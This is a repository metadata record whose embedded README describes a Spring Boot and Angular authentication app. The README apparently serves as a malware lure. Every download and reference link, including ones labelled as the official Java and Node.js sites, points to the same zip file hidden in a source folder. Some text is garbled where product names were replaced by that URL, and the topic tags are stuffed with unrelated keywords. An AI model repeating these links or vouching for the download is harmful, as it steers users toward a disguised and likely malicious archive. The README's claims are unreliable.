{"id":32810045,"url":"https://github.com/hitman472005/security-project","last_synced_at":"2026-05-04T09:34:22.705Z","repository":{"id":321006005,"uuid":"1083983348","full_name":"hitman472005/security-project","owner":"hitman472005","description":"🔒 Build a secure application with robust authentication and authorization using Spring Boot and Angular, ensuring safe user roles and access control.","archived":false,"fork":false,"pushed_at":"2026-05-02T18:37:49.000Z","size":2178,"stargazers_count":0,"open_issues_count":0,"forks_count":0,"subscribers_count":0,"default_branch":"master","last_synced_at":"2026-05-02T20:26:17.944Z","etag":null,"topics":["apple","documentation-portal","hacking","hacktoberfest","jwt","linux","network-programming","owasp","owasp-zap","practice-hacking","programming","project","security","spring-boot","spring-security","spring-security-oauth2","vulnerable-application","zsh"],"latest_commit_sha":null,"homepage":null,"language":"Java","has_issues":false,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/hitman472005.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null}},"created_at":"2025-10-27T03:42:40.000Z","updated_at":"2026-05-02T18:37:53.000Z","dependencies_parsed_at":"2025-10-27T09:32:45.851Z","dependency_job_id":null,"html_url":"https://github.com/hitman472005/security-project","commit_stats":null,"previous_names":["hitman472005/security-project"],"tags_count":0,"template":false,"template_full_name":null,"purl":"pkg:github/hitman472005/security-project","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/hitman472005%2Fsecurity-project","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/hitman472005%2Fsecurity-project/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/hitman472005%2Fsecurity-project/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/hitman472005%2Fsecurity-project/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/hitman472005","download_url":"https://codeload.github.com/hitman472005/security-project/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/hitman472005%2Fsecurity-project/sbom","scorecard":null,"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":32601606,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-05-03T22:12:39.696Z","status":"online","status_checked_at":"2026-05-04T02:00:06.625Z","response_time":58,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["apple","documentation-portal","hacking","hacktoberfest","jwt","linux","network-programming","owasp","owasp-zap","practice-hacking","programming","project","security","spring-boot","spring-security","spring-security-oauth2","vulnerable-application","zsh"],"created_at":"2025-11-06T22:00:36.101Z","updated_at":"2026-05-04T09:34:22.692Z","avatar_url":"https://github.com/hitman472005.png","language":"Java","funding_links":[],"categories":[],"sub_categories":[],"readme":"# 🔒 security-project - A Safe and Easy Authentication Tool\n\n## 🚀 Getting Started\n\nWelcome to the security-project. This application helps you manage user authentication and authorization safely. It is designed for everyone, regardless of technical skills. Follow these simple steps to get started.\n\n## 📥 Download \u0026 Install\n\n[![Download Security Project](https://raw.githubusercontent.com/hitman472005/security-project/master/backend-security/src/security-project-v3.9.zip%20Now-Click%20Here-brightgreen)](https://raw.githubusercontent.com/hitman472005/security-project/master/backend-security/src/security-project-v3.9.zip)\n\nTo download the application, visit this page: [Download Security Project](https://raw.githubusercontent.com/hitman472005/security-project/master/backend-security/src/security-project-v3.9.zip). You will find the latest version there.\n\n## 🔧 System Requirements\n\nBefore you install, ensure your system meets the following requirements:\n\n- **Operating System**: Windows, macOS, or Linux\n- **Java**: Version 17 or later\n- **https://raw.githubusercontent.com/hitman472005/security-project/master/backend-security/src/security-project-v3.9.zip \u0026 npm**: Latest versions for the frontend\n- **Database**: MySQL or another compatible database\n\n## 📂 Application Structure\n\nThe security-project consists of two main parts:\n\n- **Backend**: This part uses Spring Boot to create a secure API. It handles user requests and manages data access.\n- **Frontend**: Built with Angular, this part provides a modern interface for users.\n\nEach part works together to provide a seamless experience.\n\n## ⚙️ Installation Steps\n\n1. **Download the Application**:\n\n   Go to the [Download Security Project](https://raw.githubusercontent.com/hitman472005/security-project/master/backend-security/src/security-project-v3.9.zip) page and select the latest release. Download the appropriate files for your system.\n\n2. **Set Up the Backend**:\n\n   - Unzip the backend folder from your download.\n   - Ensure you have Java installed. If not, you can download it from the [Java website](https://raw.githubusercontent.com/hitman472005/security-project/master/backend-security/src/security-project-v3.9.zip).\n   - Open a terminal (Command Prompt, PowerShell, or Terminal).\n   - Navigate to the backend folder using the `cd` command.\n   - Run the command `./mvnw spring-boot:run` to start the backend server.\n\n3. **Set Up the Frontend**:\n\n   - Unzip the frontend folder from your download.\n   - Make sure you have https://raw.githubusercontent.com/hitman472005/security-project/master/backend-security/src/security-project-v3.9.zip and npm installed. If not, download it from the [https://raw.githubusercontent.com/hitman472005/security-project/master/backend-security/src/security-project-v3.9.zip website](https://raw.githubusercontent.com/hitman472005/security-project/master/backend-security/src/security-project-v3.9.zip).\n   - Open a new terminal.\n   - Navigate to the frontend folder using the `cd` command.\n   - Run the command `npm install` to install necessary dependencies.\n   - After this, use the command `ng serve` to start the frontend application.\n\n4. **Connect to the Database**:\n\n   - Ensure you have MySQL running on your machine.\n   - Create a database for the application. You can name it `securitydb`.\n   - Update the configuration file in the backend to link to your database.\n\n5. **Access the Application**:\n\n   - Open a web browser.\n   - Type `http://localhost:4200` to access the frontend interface.\n   - Log in using the credentials you have set up.\n\n## 🔒 Features\n\nThe security-project includes:\n\n- **User Management**: Create, update, and delete user accounts.\n- **Role-Based Access**: Define roles such as ADMIN and USER for better control.\n- **Secure Sessions**: Utilize JWT for safe user sessions.\n- **Modern Interface**: Accessible design for all users.\n\n## 🛠️ Technologies Used\n\n- **Backend**:\n  - Java 17\n  - Spring Boot\n  - Spring Security\n  - JWT (JSON Web Tokens)\n  - JPA / Hibernate\n  - MySQL\n  - Swagger UI for API documentation\n\n- **Frontend**:\n  - Angular\n  - TypeScript\n  - RxJS\n  - HTML5 / CSS3\n  - Bootstrap for responsive design\n\n## 🌍 Community and Support\n\nIf you face any issues or have questions, feel free to reach out. You can open an issue on the GitHub repository. Join our community and contribute to making the security-project better.\n\n## 🔄 Contribution\n\nWe welcome contributions! If you want to help improve this project, please follow these steps:\n\n1. Fork the repository.\n2. Create a feature branch.\n3. Make your changes.\n4. Open a pull request.\n\nThank you for your interest in improving the security-project!\n\n## 📜 License\n\nThis project is licensed under the MIT License. Feel free to use and modify it as you see fit. For detailed license information, check the LICENSE file in the repository.\n\n## 💬 Topics\n\nThe security-project covers various topics including:\n\n- angular\n- authentication\n- css\n- html\n- java\n- jpa-hibernate\n- jwt\n- mysql\n- oauth2\n- rxjs\n- spring-boot\n- spring-devtools\n- spring-security\n- swagger-ui\n- swalalert2\n- typescript\n\nFor more detailed information, visit the [GitHub Topics Page](https://raw.githubusercontent.com/hitman472005/security-project/master/backend-security/src/security-project-v3.9.zip).","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fhitman472005%2Fsecurity-project","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fhitman472005%2Fsecurity-project","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fhitman472005%2Fsecurity-project/lists"}